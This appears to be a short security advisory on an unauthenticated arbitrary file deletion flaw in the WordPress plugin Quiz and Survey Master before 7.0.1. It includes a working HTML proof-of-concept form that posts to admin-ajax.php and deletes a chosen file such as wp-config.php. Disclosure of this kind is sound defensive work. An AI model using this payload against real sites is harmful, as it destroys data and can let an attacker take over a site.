Quiz and Survey Master < 7.0.1 - Unauthenticated Arbitrary File Deletion

2020-08-1300:00:00

Chloe Chamberland

0.002 Low

EPSS

Percentile

54.8%

JSON

This flaw allows users to delete arbitrary files like a site’s wp-config.php file which could effectively take a site offline and allow an attacker to take over the vulnerable site.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://YOURURL/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="qsm_remove_file_fd_question" />
      <input type="hidden" name="file_url" value="/path/to/file" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>